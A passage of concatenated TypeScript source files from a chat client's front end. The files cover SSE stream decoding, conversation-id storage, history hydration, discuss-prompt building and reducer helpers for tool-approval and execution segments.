status: 'pending',\n      })\n    }\n  } else if (meta.kind === 'approval_request' && meta.proposalId) {\n    const proposalId = String(meta.proposalId)\n    const toolName = String(meta.toolName ?? 'tool')\n    const headline =\n      typeof meta.title === 'string' && meta.title.length > 0 ? meta.title : toolName\n    const rawFields = Array.isArray(meta.fields)\n      ? (meta.fields as Array<{ label?: string; value?: string }>)\n      : []\n    const fields: Array<{ label: string; value: string }> = []\n    for (const f of rawFields) {\n      if (!f || !f.label || !f.value) continue\n      fields.push({ label: f.label, value: f.value })\n    }\n    out.push({\n      type: 'approval-request',\n      requestId: proposalId,\n      approvalType: toolName,\n      command: headline,\n      fields,\n      status: 'pending',\n    })\n  } else if (meta.kind === 'text-leading' && typeof meta.text === 'string') {\n    out.push({ type: 'text-delta', text: meta.text, leading: true })\n  } else if (meta.kind === 'tool_error') {\n    const msg =\n      typeof meta.message === 'string' && meta.message.length > 0\n        ? meta.message\n        : 'Could not complete the requested action right now.'\n    out.push({ type: 'error', title: msg })\n  } else if (meta.kind === 'routing') {\n    if (typeof meta.routedComplexity === 'string') {\n      out.push({\n        type: 'metadata',\n        routing: {\n          routedComplexity: meta.routedComplexity,\n          ...(typeof meta.routedModel === 'string' ? { routedModel: meta.routedModel } : {}),\n          routedThinkingBudget:\n            typeof meta.routedThinkingBudget === 'number' ? meta.routedThinkingBudget : null,\n        },\n      })\n    }\n  } else {\n    // Catch-all metadata-ish frame. Raw values pass through UNVALIDATED\n    // (possibly undefined) so the consumer can replicate the legacy\n    // presence/truthiness gates exactly — including the `model`-presence\n    // trigger whose value is never stored.\n    out.push({\n      type: 'metadata',\n      sources: meta.sources,\n      provider: meta.provider,\n      modelLabel: meta.modelLabel,\n      modelName: meta.model,\n      contextWindowMaxTokens: meta.contextWindowMaxTokens,\n      scrollAnchor: meta.scrollAnchor,\n      conversationId: meta.conversationId,\n    })\n  }\n}\n","/**\n * SSE wire-protocol decoder — a timer-free synchronous state machine,\n * mechanically extracted from `useSseChatAdapter`'s inline\n * `createDocStreamFn` parser. Byte-for-byte behavior parity with the\n * legacy parser is the contract (the golden fixtures in\n * `src/components/chat/hooks/__tests__/sse-stream-golden.test.ts` pin it\n * through the full hook path), including its quirks:\n *\n *   - A leading `\\0`-terminated block that fails JSON.parse flips the\n *     stream into text mode and the WHOLE buffer (including the `\\0`)\n *     is emitted as answer text (legacy no-frame stream fallback). This\n *     transition is marked `turn-start { implicit: true }`.\n *   - In text mode only `\\x1F` is scanned — literal `\\0` / `\\x1E` bytes\n *     pass through into the answer; the FIRST literal `\\x1F` flips into\n *     trailer mode and everything after is captured as the trailer\n *     (golden fixture (d) characterizes this mis-framing; the fix lives\n *     in `encode.ts`'s sentinel stripping, NOT here).\n *   - The `\\x1E` sentinel and the `\\x1F` trailer can arrive in ONE TCP\n *     chunk (fixed-answer responses) — the post-sentinel slice is\n *     re-scanned for the trailer sentinel.\n *   - Multi-byte UTF-8 across chunk boundaries survives via a single\n *     streaming TextDecoder (`{ stream: true }` on every push; no final\n *     flush — a trailing partial code point is dropped, as legacy did).\n *   - `end()` parses the accumulated trailer (malformed → silently\n *     ignored) and drops any un-terminated leading buffer, as legacy did.\n *     It is IDEMPOTENT (a deliberate deviation from legacy): repeat calls\n *     emit nothing, so an adapter that ends in both its completion path\n *     and its `finally` cannot double-count the usage frame.\n *\n * State flow: leading → (sentinel | parse-failure) → text → (\\x1F) →\n * trailer-accumulate → end().\n *\n * Server-safe: no React, no timers, TextDecoder only.\n */\n\nimport { FRAME_TERMINATOR, END_OF_LEADING, TRAILER_SENTINEL } from './frames'\nimport type { ChatStreamEvent } from './events'\n// The frame table is SHARED with the NATS decoder — guide answers re-stream the\n// hub's frames verbatim inside `GUIDE` chunks — so it lives in its own module.\nimport { mapLeadingFrame } from './leading-frames'\n\nexport interface SseFrameDecoder {\n  /** Feed raw response bytes; returns the events they produced. */\n  push(bytes: Uint8Array): ChatStreamEvent[]\n  /**\n   * Signal end-of-stream; parses the trailing usage frame if present.\n   * IDEMPOTENT — every call after the first returns `[]`. Adapters\n   * routinely call this from BOTH their completion path and a `finally`,\n   * and a re-emitted `usage`/`stage:'end'` event would double-count token\n   * usage (displayed cost doubles).\n   */\n  end(): ChatStreamEvent[]\n}\n\n// `escapeThinkingTags` moved to `./leading-frames` alongside the frame table,\n// and is re-exported here: consumers have imported it from this module since it\n// was written, and the `chat-protocol` barrel re-exports it from here.\nexport { escapeThinkingTags } from './leading-frames'\n\nexport function createSseFrameDecoder(): SseFrameDecoder {\n  const textDecoder = new TextDecoder()\n  let buffer = ''\n  let inText = false\n  let inTrailer = false\n  let trailerBuffer = ''\n  let ended = false\n\n  function push(bytes: Uint8Array): ChatStreamEvent[] {\n    const out: ChatStreamEvent[] = []\n    const chunk = textDecoder.decode(bytes, { stream: true })\n\n    if (!inText) {\n      buffer += chunk\n      while (!inText) {\n        const recIdx = buffer.indexOf(END_OF_LEADING)\n        const nullIdx = buffer.indexOf(FRAME_TERMINATOR)\n        if (recIdx !== -1 && (nullIdx === -1 || recIdx < nullIdx)) {\n          inText = true\n          out.push({ type: 'turn-start' })\n          const after = buffer.slice(recIdx + 1)\n          buffer = ''\n          if (after) {\n            // The `after` slice may ALSO contain the `\\x1F` trailing-\n            // usage sentinel — common for fixed-answer responses where\n            // the whole frame sequence arrives in ONE TCP chunk.\n            const unitIdx = after.indexOf(TRAILER_SENTINEL)\n            if (unitIdx === -1) {\n              out.push({ type: 'text-delta', text: after })\n            } else {\n              const textBefore = after.slice(0, unitIdx)\n              const trailerAfter = after.slice(unitIdx + 1)\n              if (textBefore) {\n                out.push({ type: 'text-delta', text: textBefore })\n              }\n              inTrailer = true\n              trailerBuffer = trailerAfter\n            }\n          }\n          break\n        }\n        if (nullIdx === -1) break // need more bytes\n        const metaStr = buffer.slice(0, nullIdx)\n        const remaining = buffer.slice(nullIdx + 1)\n        let meta: any\n        try {\n          meta = JSON.parse(metaStr)\n        } catch {\n          // Not JSON — start of answer body. The WHOLE buffer (including\n          // the `\\0`) becomes answer text; `implicit` tells consumers\n          // this was the fallback path, not the `\\x1E` sentinel.\n          inText = true\n          out.push({ type: 'turn-start', implicit: true })\n          if (buffer.length > 0) {\n            out.push({ type: 'text-delta', text: buffer })\n            buffer = ''\n          }\n          break\n        }\n        mapLeadingFrame(meta, out)\n        buffer = remaining\n      }\n    } else if (inTrailer) {\n      trailerBuffer += chunk\n    } else {\n      // Text mode: only the `\\x1F` trailer sentinel is scanned. The\n      // unconditional emit (even for an empty decode of a partial\n      // multi-byte code point) mirrors the legacy per-chunk yield.\n      const sepIdx = chunk.indexOf(TRAILER_SENTINEL)\n      if (sepIdx === -1) {\n        out.push({ type: 'text-delta', text: chunk })\n      } else {\n        const before = chunk.slice(0, sepIdx)\n        const after = chunk.slice(sepIdx + 1)\n        if (before) out.push({ type: 'text-delta', text: before })\n        inTrailer = true\n        trailerBuffer = after\n      }\n    }\n    return out\n  }\n\n  function end(): ChatStreamEvent[] {\n    // Idempotency guard: a second end() must emit NOTHING. The trailer is\n    // also cleared so no later push()/end() pair can replay it.\n    if (ended) return []\n    ended = true\n    const out: ChatStreamEvent[] = []\n    if (trailerBuffer.length > 0) {\n      const raw = trailerBuffer\n      trailerBuffer = ''\n      try {\n        const meta = JSON.parse(raw)\n        if (meta.kind === 'usage' && (meta.stage === 'end' || meta.stage === 'display')) {\n          out.push({\n            type: 'usage',\n            stage: 'end',\n            input_tokens: meta.input_tokens,\n            output_tokens: meta.output_tokens,\n            cache_read_input_tokens: meta.cache_read_input_tokens,\n            cache_creation_input_tokens: meta.cache_creation_input_tokens,\n            hit_rate_pct: meta.hit_rate_pct,\n            telemetry: meta.telemetry,\n            breakdown: meta.breakdown,\n            debug: meta.debug,\n          })\n        }\n      } catch {\n        // Malformed trailer — silently ignore (legacy parity).\n      }\n    }\n    return out\n  }\n\n  return { push, end }\n}\n","/**\n * Chat conversation-id persistence — the SSE/Guide chat's ONLY local state.\n *\n * The stored value is the SERVER-minted conversation id echoed in the chat\n * stream's leading metadata frame; the client never generates ids. Message\n * history itself lives server-side (`chat_conversations` / `chat_messages`)\n * and is rehydrated via the history endpoint — see\n * `use-chat-history-hydration.ts`.\n *\n * Built on the lib-standard `createLocalStorageAdapter` (SSR guard,\n * try/catch, quota-failure logging, dynamic namespacing) instead of raw\n * `window.localStorage`. The namespace resolver runs on EVERY read/write, so\n * a proxy-auth identity switch mid-page automatically re-partitions the key.\n *\n * Key shape: `mingo-chat-<source>[-u-<email>].conversation`\n */\n\nimport {\n  createLocalStorageAdapter,\n  type LocalStorageAdapter,\n} from '../../../utils/local-storage-adapter'\nimport { getEmbedProxyAuth } from '../../../utils/embed-proxy-auth-storage'\n\nexport interface PersistedChatConversation {\n  conversationId: string\n}\n\nconst STORAGE_KEY = 'conversation'\n\nconst namespaceFor = (source: string): string => {\n  const base = `mingo-chat-${source}`\n  const auth = getEmbedProxyAuth()\n  return auth?.email ? `${base}-u-${encodeURIComponent(auth.email.toLowerCase())}` : base\n}\n\n/** One adapter per chat `source` (= platform). Memoize per mount. */\nexport function createChatConversationStorage(\n  source: string,\n): LocalStorageAdapter<PersistedChatConversation> {\n  return createLocalStorageAdapter<PersistedChatConversation>({\n    key: STORAGE_KEY,\n    namespace: () => namespaceFor(source),\n    validate: (parsed): parsed is PersistedChatConversation =>\n      !!parsed &&\n      typeof (parsed as PersistedChatConversation).conversationId === 'string' &&\n      (parsed as PersistedChatConversation).conversationId.length > 0,\n    logTag: '[chat-conversation-storage]',\n  })\n}\n\n/**\n * Sweep THIS source's stale keys: the other-identity variants (base vs\n * impersonation), and retired key shapes from before the server-minted-id\n * design (raw `mingo-chat-<source>` and versioned `-v1`/`-v2` full-history\n * stores). Boundary-aware: a hyphen-extended sibling source (`flamingo` vs\n * `flamingo-teaser`) is NOT this source's namespace and must never be swept.\n *\n * Raw storage enumeration is unavoidable here — the adapter abstraction is\n * per-key and Web Storage only exposes iteration on the raw object.\n */\nexport function pruneStaleChatConversationStorage(source: string): void {\n  if (typeof window === 'undefined') return\n  try {\n    const base = `mingo-chat-${source}`\n    const currentKey = `${namespaceFor(source)}.${STORAGE_KEY}`\n    const ownedKey = (k: string) =>\n      k === base || // retired raw key (pre-adapter shape)\n      k === `${base}.${STORAGE_KEY}` || // current no-identity shape\n      k.startsWith(`${base}-u-`) || // per-identity shapes (current + retired)\n      k.startsWith(`${base}-v`) // retired versioned full-history shapes\n    const toRemove: string[] = []\n    for (let i = 0; i < window.localStorage.length; i++) {\n      const k = window.localStorage.key(i)\n      if (!k) continue\n      if (ownedKey(k) && k !== currentKey) toRemove.push(k)\n    }\n    for (const k of toRemove) {\n      window.localStorage.removeItem(k)\n    }\n  } catch {\n    // localStorage access blocked (Safari private mode etc.) — non-fatal.\n  }\n}\n","'use client'\n\n/**\n * useChatHistoryHydration — mount-time rebuild of the chat message list from\n * the SERVER-side conversation store (the `chat_conversations` /\n * `chat_messages` SSOT behind `GET <chatStreamUrl>/history`).\n *\n * The client persists ONLY the server-issued conversation id (see\n * `chat-conversation-storage.ts`); this hook turns that id back into rendered\n * history: message bubbles and the send counter. Inline entity cards need no\n * per-row metadata — they hydrate by id from the `[card://…]` markers in the\n * message content via the card fetch path.\n *\n * Failure semantics: a fetch/parse failure simply leaves the UI empty — the\n * SERVER still resolves full history for the next turn (it re-reads\n * `chat_messages` by conversation id on every send), so conversation context\n * is never lost when hydration misses.\n */\n\nimport { useEffect, useRef, useState, type MutableRefObject } from 'react'\nimport type { Message } from './use-chat'\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch'\nimport { AUTO_CONTINUATION_DIRECTIVE_PREFIX } from '../utils/auto-continuation-directive'\n\nexport interface UseChatHistoryHydrationArgs {\n  /** Mirrors the adapter's `active` gate — an idle (Mingo-mode) mount never fetches. */\n  active: boolean\n  /** Chat source (= platform); part of the once-per-conversation guard key. */\n  source: string\n  /** Resolved history endpoint (`<chatStreamUrl>/history` by default). */\n  historyUrl: string\n  /** The server-issued conversation id (null = nothing to hydrate). */\n  conversationIdRef: MutableRefObject<string | null>\n  /** User-send counter — set to the hydrated user-turn count so the next\n   *  live send lands on the following `sendIdx`. */\n  sendCountRef: MutableRefObject<number>\n  /** `useChat`'s injection primitive (replace-or-prepend). */\n  hydrateMessages: (\n    history: Message[],\n    /** Per-send \"Sources used\" chips restored from the persisted audit copy\n     *  (`[sendIdx, sources[]]` entries for the reducer's sourcesMap). */\n    sourcesSeed?: Array<[number, unknown[]]>,\n  ) => void\n  /** Invalidates the adapter's `latestMeta` memo after hydration lands. */\n  bumpMetaTick: () => void\n}\n\nexport interface UseChatHistoryHydrationResult {\n  /** True while the rebuild request is in flight. */\n  isHydratingHistory: boolean\n  /** Once-per-`source:conversationId` guard. The adapter's `clearMessages`\n   *  resets it to null alongside the stored id (a fresh conversation has no\n   *  server history to fetch). */\n  hydratedKeyRef: MutableRefObject<string | null>\n}\n\nexport function useChatHistoryHydration({\n  active,\n  source,\n  historyUrl,\n  conversationIdRef,\n  sendCountRef,\n  hydrateMessages,\n  bumpMetaTick,\n}: UseChatHistoryHydrationArgs): UseChatHistoryHydrationResult {\n  const [isHydratingHistory, setIsHydratingHistory] = useState(false)\n  const hydratedKeyRef = useRef<string | null>(null)\n\n  useEffect(() => {\n    if (!active) return\n    // No stored conversation id → nothing to hydrate (fresh visitor / after\n    // \"new chat\"); the first send establishes the conversation server-side.\n    const conversationId = conversationIdRef.current\n    if (!conversationId) return\n    const key = `${source}:${conversationId}`\n    if (hydratedKeyRef.current === key) return\n    hydratedKeyRef.current = key\n    let cancelled = false\n    setIsHydratingHistory(true)\n    ;(async () => {\n      try {\n        const res = await embedAuthedFetch(\n          `${historyUrl}?conversationId=${encodeURIComponent(conversationId)}`,\n          { method: 'GET' },\n        )\n        if (!res.ok) return\n        const payload = await res.json().catch(() => null)\n        // route-base successResponse envelope ({ data }) with a raw-body fallback.\n        const body = (payload?.data ?? payload) as\n          | { messages?: Array<Record<string, unknown>> }\n          | null\n        const rows = Array.isArray(body?.messages) ? body!.messages! : []\n        if (cancelled || rows.length === 0) return\n        const hydrated: Message[] = []\n        // Per-send \"Sources used\" chips, restored from the persisted audit\n        // copy the history route projects as `sources` on assistant rows —\n        // seeded into the reducer's sourcesMap so chips survive a refresh\n        // exactly like live turns. Keyed by send index (last row wins).\n        const sourcesSeed = new Map<number, unknown[]>()\n        let userTurns = 0\n        for (const row of rows) {\n          const role =\n            row.role === 'assistant' ? 'assistant' : row.role === 'user' ? 'user' : null\n          if (!role) continue\n          const content = typeof row.content === 'string' ? row.content : ''\n          // The approval placeholder ('') and the server-built auto-continuation\n          // directive are part of the LLM history but never rendered.\n          const hidden =\n            role === 'user' &&\n            (content === '' || content.startsWith(AUTO_CONTINUATION_DIRECTIVE_PREFIX))\n          if (role === 'user') {\n            userTurns += 1\n          }\n          if (role === 'assistant' && Array.isArray(row.sources) && row.sources.length > 0) {\n            sourcesSeed.set(Math.max(0, userTurns - 1), row.sources as unknown[])\n          }\n          hydrated.push({\n            id: `hydrated-${String(row.seq ?? hydrated.length)}`,\n            role,\n            content,\n            ...(typeof row.created_at === 'string'\n              ? { timestamp: new Date(row.created_at) }\n              : {}),\n            ...(hidden ? { hidden: true } : {}),\n          } as Message)\n        }\n        if (cancelled || hydrated.length === 0) return\n        sendCountRef.current = userTurns\n        hydrateMessages(hydrated, Array.from(sourcesSeed.entries()))\n        bumpMetaTick()\n      } catch {\n        // Fetch failed — start empty; the server still owns history (above).\n      } finally {\n        if (!cancelled) setIsHydratingHistory(false)\n      }\n    })()\n    return () => {\n      cancelled = true\n    }\n    // Refs are stable across renders — the effect keys on the identity-ish deps only.\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [active, source, historyUrl, hydrateMessages, bumpMetaTick])\n\n  return { isHydratingHistory, hydratedKeyRef }\n}\n","/**\n * The ONE place the \"Ask Mingo\" (discuss) prompt for an inline entity card is\n * composed — shared by every transport so the affordance reads identically\n * wherever it is clicked.\n *\n * ## Why the two transports still differ underneath\n *\n * The prose is UX only. What narrows retrieval differs:\n *\n *   - **SSE / guide** — `sendMessage(prompt, { commandOverride: { entityIdFilter:\n *     { tableId, id } } })`. Retrieval is strictly primary-key-driven; the\n *     sentence is decoration.\n *   - **Mingo / NATS** — the agent backend has no entity-id-filtered retrieval\n *     (`ContextItemType` covers DEVICE / SCRIPT / TICKET / ORGANIZATION / USER /\n *     KB_ARTICLE / POLICY / QUERY / SCHEDULED_SCRIPT — no content types), so the\n *     prompt is ALL the agent gets. Hence `includeReference`, which appends the\n *     type + id so the agent can still identify the exact row by text.\n *\n * When the backend grows an id-filter for the agent transport, the Mingo callers\n * switch to it and drop `includeReference` — the prose stays put.\n */\n\nimport { sanitizeTitleForChat } from './slash-dispatch-utils'\n\nexport interface DiscussPromptRef {\n  /** documentType, e.g. `'roadmap_item'`. */\n  type: string\n  /** Primary key — the id from the `[card://type:id]` marker. */\n  id: string\n  /** Display title. May be the bare id on a synthetic ref (Mingo). */\n  title?: string | null\n}\n\nexport interface BuildDiscussPromptOptions {\n  /**\n   * Append `(<type> <id>)` so a transport WITHOUT structured entity filtering\n   * still points the agent at the exact row. Default `false` — the SSE path\n   * sends `entityIdFilter` and must keep the sentence clean.\n   */\n  includeReference?: boolean\n}\n\n/**\n * `Tell me more about <title>` — plus `(<type> <id>)` when\n * `includeReference` is set and the title alone is ambiguous.\n *\n * Falls back to `this item` when the ref has no usable title, matching the\n * long-standing SSE behavior. A title that is just the id (the synthetic ref a\n * Mingo `[card://…]` marker produces before its row loads) is treated as\n * missing, so the prompt never degrades to `Tell me more about 86ad3qvv5`.\n */\nexport function buildDiscussPrompt(\n  reference: DiscussPromptRef,\n  options: BuildDiscussPromptOptions = {},\n): string {\n  const id = (reference.id ?? '').trim()\n  const rawTitle = (reference.title ?? '').trim()\n  const usableTitle = rawTitle && rawTitle !== id ? sanitizeTitleForChat(rawTitle) : ''\n  const prompt = `Tell me more about ${usableTitle || 'this item'}`\n  if (!options.includeReference || !id) return prompt\n  // Only worth the noise when the reference adds something the title doesn't.\n  return `${prompt} (${reference.type} ${id})`\n}\n","/**\n * Pure message-mutation kernel for the master chat-stream reducer.\n *\n * These helpers were absorbed from `use-nats-chat-adapter.ts` in Phase 3 of\n * the chat unification — they are the ONE implementation of \"apply a stream\n * fragment to a message thread\". The reducer (`chat-stream-reducer.ts`) and\n * the cross-side projections (`chat-dialog-store.ts`) both build on them.\n *\n * REFERENTIAL-STABILITY CONTRACT: every helper clones ONLY the touched\n * message object (and the touched segment slot inside it). A value-level\n * no-op — e.g. a replayed duplicate EXECUTED_TOOL whose merge would write\n * identical values — returns the PRIOR references untouched, so React\n * memoization over untouched messages survives redeliveries.\n *\n * Framework-free: no React, no timers.\n */\n\nimport type {\n  ApprovalBatchExecutionState,\n  ChatApprovalStatus,\n  MessageSegment,\n  ToolExecutionSegment,\n  ToolExecutionData,\n} from '../types'\nimport type { UnifiedChatMessage } from '../types/unified-chat-state.types'\n\nexport function nextId(role: 'user' | 'assistant'): string {\n  // Date.now() + counter sliver keeps ids monotonic even when two\n  // messages are produced inside the same ms tick (user + assistant\n  // placeholder fire back-to-back from a single sendMessage call).\n  return `${role}-${Date.now()}-${Math.random().toString(36).slice(2, 7)}`\n}\n\n/**\n * Realtime user/direct/system chunks can be replays of rows already on\n * screen. Content-window dedup is the LAST layer (seq-less transports only)\n * — see the layer list in `chat-stream-reducer.ts`.\n */\nexport const CONTENT_DEDUP_WINDOW = 4\nexport const SYSTEM_DEDUP_WINDOW = 10\n\nexport function hasRecentMessage(\n  prev: UnifiedChatMessage[],\n  predicate: (message: UnifiedChatMessage) => boolean,\n  window: number,\n): boolean {\n  const start = Math.max(0, prev.length - window)\n  for (let i = prev.length - 1; i >= start; i--) {\n    if (predicate(prev[i])) return true\n  }\n  return false\n}\n\n/**\n * Replace (or append) the trailing assistant message with the latest\n * accumulated segments.\n */\nexport function updateTrailingAssistant(\n  prev: UnifiedChatMessage[],\n  segments: MessageSegment[],\n): UnifiedChatMessage[] {\n  const last = prev[prev.length - 1]\n  if (!last || last.role !== 'assistant') {\n    // No placeholder exists — append a fresh assistant message.\n    return [\n      ...prev,\n      {\n        id: nextId('assistant'),\n        role: 'assistant',\n        content: '',\n        segments,\n      },\n    ]\n  }\n  return [...prev.slice(0, -1), { ...last, segments }]\n}\n\n/**\n * Identity of a block that must upsert rather than stack when re-appended,\n * namespaced so two kinds can never collide. `null` for segments that coalesce\n * by adjacency (text/thinking/guide) or are pushed raw. Legacy approval cards\n * share one requestId across an unfolded batch, hence the command in the key.\n *\n * `ticket_escalated` keys on its dialog-scoped ticketId, which is safe HERE\n * (two receipts inside one trailing bubble can only be a redelivery) but is NOT\n * a turn identity — see the deliberate omissions in `turnRequestKeys` and the\n * host's thread-global dedupe.\n */\nfunction upsertKey(seg: MessageSegment): string | null {\n  switch (seg.type) {\n    case 'approval_batch':\n      return `batch:${seg.data.approvalRequestId}`\n    case 'approval_request':\n      return `req:${seg.data.requestId}:${seg.data.command}`\n    case 'escalation_offer':\n      return `offer:${seg.data.offerId}`\n    case 'ticket_escalated':\n      return `escalated:${seg.data.ticketId}`\n    case 'ticket_event':\n      // The stream sequence is the event's only stable id; a seq-less segment\n      // (hydrated history) is pushed raw — `addTicketEvent`'s payload-equality\n      // upsert owns that case.\n      return seg.streamSeq !== undefined ? `ticket-event:${seg.streamSeq}` : null\n    default:\n      return null\n  }\n}\n\n/**\n * Append-mode counterpart of `updateTrailingAssistant` for post-MESSAGE_END\n * continuation fragments (`SegmentsUpdateMetadata.append`). Coalesces\n * trailing fragments of the same type, mirroring the accumulator; block deltas\n * upsert by identity (see `upsertKey`) so a replayed emit stays idempotent.\n */\nexport function appendToTrailingAssistant(\n  prev: UnifiedChatMessage[],\n  segments: MessageSegment[],\n): UnifiedChatMessage[] {\n  if (segments.length === 0) return prev\n  const last = prev[prev.length - 1]\n  if (!last || last.role !== 'assistant') {\n    return [\n      ...prev,\n      { id: nextId('assistant'), role: 'assistant', content: '', segments },\n    ]\n  }\n  const merged = [...(last.segments ?? [])]\n  for (const seg of segments) {\n    const tail = merged[merged.length - 1]\n    const key = upsertKey(seg)\n    if (seg.type === 'text' && tail?.type === 'text') {\n      merged[merged.length - 1] = { type: 'text', text: tail.text + seg.text }\n    } else if (seg.type === 'thinking' && tail?.type === 'thinking') {\n      merged[merged.length - 1] = { type: 'thinking', text: tail.text + seg.text }\n    } else if (seg.type === 'guide' && tail?.type === 'guide') {\n      merged[merged.length - 1] = { type: 'guide', text: tail.text + seg.text }\n    } else if (key) {\n      // Block deltas must be IDEMPOTENT: an emit can be seen twice (live plus\n      // the JetStream catch-up replay over hydrated history), so upsert on the\n      // block's identity instead of raw-appending a duplicate card.\n      const idx = merged.findIndex((m) => upsertKey(m) === key)\n      if (idx !== -1) merged[idx] = seg\n      else merged.push(seg)\n    } else {\n      // Other non-text segments are pushed RAW on purpose: EXECUTING↔EXECUTED\n      // pairing and batch merging are `applyToolExecutionToMessages`'s job\n      // (post-END tool chunks never reach this helper — the reducer routes\n      // them cross-message). Running the accumulator here would double-apply\n      // those rules.\n      merged.push(seg)\n    }\n  }\n  return [...prev.slice(0, -1), { ...last, segments: merged }]\n}\n\n// =============================================================================\n// Segment-projection kernel — shared scaffolding + single-rule predicates\n// =============================================================================\n\n/**\n * Map every assistant message's segments through `fn`, preserving the\n * REFERENTIAL-STABILITY CONTRACT in ONE place: `fn` returns the SAME\n * segment reference to signal \"unchanged\"; untouched messages (and the\n * whole array on a global no-op) keep their prior references. Every\n * segment projection below rides this scaffold instead of re-implementing\n * the changed-flag dance.\n */\nfunction mapSegments(\n  prev: UnifiedChatMessage[],\n  fn: (s: MessageSegment) => MessageSegment,\n): UnifiedChatMessage[] {\n  let changed = false\n  const next = prev.map((m) => {\n    if (m.role !== 'assistant' || !m.segments) return m\n    let msgChanged = false\n    const segs = m.segments.map((s) => {\n      const out = fn(s)\n      if (out !== s) msgChanged = true\n      return out\n    })\n    if (!msgChanged) return m\n    changed = true\n    return { ...m, segments: segs }\n  })\n  return changed ? next : prev\n}\n\n/**\n * THE approval-resolution rule for a single segment — one predicate for\n * both containers (the message-array projections here AND the flat\n * segment list in `MessageSegmentAccumulator.updateApprovalStatus`), so\n * the two paths can never drift:\n *   - `approval_request` matched on `data.requestId` → status flip;\n *   - `approval_batch` anchor (`data.approvalRequestId`, the server's\n *     `batch:<first proposalId>` — never a row id) → status flip;\n *   - `approval_batch` ROW (`toolCalls[].toolExecutionRequestId`) →\n *     tick that row's execution (check on approved, cross otherwise)\n *     without touching the batch status.\n *   - `escalation_offer` matched on `data.offerId` → status flip +\n *     resolver stamp. Escalation offers are backed by the SAME\n *     `ToolApprovalRequest` collection as command approvals, so the two id\n *     spaces are one and a cross-match is impossible.\n * Returns the SAME reference when nothing matched or changed.\n */\nexport function applyApprovalStatusToSegment(\n  s: MessageSegment,\n  requestId: string,\n  status: ChatApprovalStatus,\n  resolvedByName?: string | null,\n): MessageSegment {\n  if (s.type === 'approval_request' && s.data.requestId === requestId && s.status !== status) {\n    return { ...s, status }\n  }\n  if (s.type === 'escalation_offer') {\n    if (s.data.offerId !== requestId) return s\n    const nextResolvedBy = resolvedByName ?? s.resolvedByName\n    // Status alone is not enough to early-out: the host overlay flips the\n    // status first and the persisted row supplies the resolver name after, so\n    // bailing on an unchanged status drops the \"by {name}\" stamp.\n    if (s.status === status && nextResolvedBy === s.resolvedByName) return s\n    return { ...s, status, resolvedByName: nextResolvedBy }\n  }\n  if (s.type !== 'approval_batch') return s\n  const isAnchor = s.data.approvalRequestId === requestId\n  const hasRow = s.data.toolCalls?.some((c) => c.toolExecutionRequestId === requestId)\n  if (!isAnchor && !hasRow) return s\n  const nextResolvedBy = resolvedByName ?? s.resolvedByName\n  const nextExecutions = hasRow\n    ? {\n        ...(s.data.executions ?? {}),\n        [requestId]: { status: 'done' as const, success: status === 'approved' },\n      }\n    : s.data.executions\n  const nextStatus = isAnchor ? status : s.status\n  if (\n    s.status === nextStatus &&\n    nextResolvedBy === s.resolvedByName &&\n    nextExecutions === s.data.executions\n  ) {\n    return s\n  }\n  return {\n    ...s,\n    status: nextStatus,\n    resolvedByName: nextResolvedBy,\n    data: {\n      ...s.data,\n      ...(nextExecutions ? { executions: nextExecutions } : {}),\n    },\n  }\n}\n\n/**\n * Next state for a batch row's execution slot from a tool-execution\n * chunk — folds the never-downgrade guard (redelivered EXECUTING after\n * EXECUTED landed) and the EXECUTED/EXECUTING ternary into ONE rule\n * shared by the message projection and the accumulator. Returns null\n * for the no-op case (caller keeps prior references).\n */\nexport function nextBatchExecution(\n  prevExec: ApprovalBatchExecutionState | undefined,\n  toolData: ToolExecutionData,\n): ApprovalBatchExecutionState | null {\n  if (toolData.type === 'EXECUTING_TOOL' && prevExec?.status === 'done') return null\n  return toolData.type === 'EXECUTED_TOOL'\n    ? { status: 'done', result: toolData.result, success: toolData.success }\n    : { status: 'executing', result: prevExec?.result, success: prevExec?.success }\n}\n\n/** The executions-map triple-spread — one home for the write shape. */\nexport function withBatchExecution<S extends { data: { executions?: Record<string, ApprovalBatchExecutionState> } }>(\n  seg: S,\n  execId: string,\n  state: ApprovalBatchExecutionState,\n): S {\n  return {\n    ...seg,\n    data: { ...seg.data, executions: { ...(seg.data.executions ?? {}), [execId]: state } },\n  }\n}\n\n/**\n * Flip ONLY an approval_batch segment's status — no execution writes.\n * The click-time optimistic flip uses this instead of\n * `projectApprovalResolutionToMessages` as defense-in-depth: even if a\n * (misbehaving) server emitted a batchId colliding with a row's\n * proposal id, the flip could not pre-tick that row's execution to a\n * false success before its confirm actually ran.\n */\nexport function projectBatchStatusToMessages(\n  prev: UnifiedChatMessage[],\n  anchorId: string,\n  status: ChatApprovalStatus,\n): UnifiedChatMessage[] {\n  return mapSegments(prev, (s) => {\n    if (s.type !== 'approval_batch') return s\n    if (s.data.approvalRequestId !== anchorId || s.status === status) return s\n    return { ...s, status }\n  })\n}\n\n/**\n * Mark ONE batch row's confirm as FAILED (expired proposal, network\n * error): tick its execution icon to the failure cross so the row's\n * loader doesn't spin forever. Batch status is untouched — other rows\n * may still be resolving.\n */\nexport function projectBatchRowFailureToMessages(\n  prev: UnifiedChatMessage[],\n  rowRequestId: string,\n): UnifiedChatMessage[] {\n  return mapSegments(prev, (s) => {\n    if (\n      s.type !== 'approval_batch' ||\n      !s.data.toolCalls?.some((c) => c.toolExecutionRequestId === rowRequestId)\n    ) {\n      return s\n    }\n    const existing = s.data.executions?.[rowRequestId]\n    if (existing?.status === 'done') return s\n    return withBatchExecution(s, rowRequestId, { status: 'done', success: false })\n  })\n}\n\n/**\n * Upsert a standalone context-compaction segment into the trailing assistant\n * bubble. Compaction emissions arrive as the accumulator's CUMULATIVE array —\n * only the compaction segment itself may be applied, or interleaved\n * continuation text would duplicate. A `completed` segment replaces the last\n * `started` one in place.\n */\nexport function upsertTrailingCompaction(\n  prev: UnifiedChatMessage[],\n  segments: MessageSegment[],\n): UnifiedChatMessage[] {\n  const compaction = [...segments].reverse().find((s) => s.type === 'context_compaction')\n  if (!compaction) return prev\n  const last = prev[prev.length - 1]\n  if (!last || last.role !== 'assistant') {\n    return [\n      ...prev,\n      { id: nextId('assistant'), role: 'assistant', content: '', segments: [compaction] },\n    ]\n  }\n  const existing = last.segments ?? []\n  // LAST 'started' segment (not first): with repeated compactions in one\n  // bubble the earlier ones are already completed-in-place, so the newest\n  // 'started' is the only one this completion can belong to.\n  const startedIdx = existing\n    .map((s) => s.type === 'context_compaction' && s.status === 'started')\n    .lastIndexOf(true)\n  const merged =\n    startedIdx !== -1\n      ? 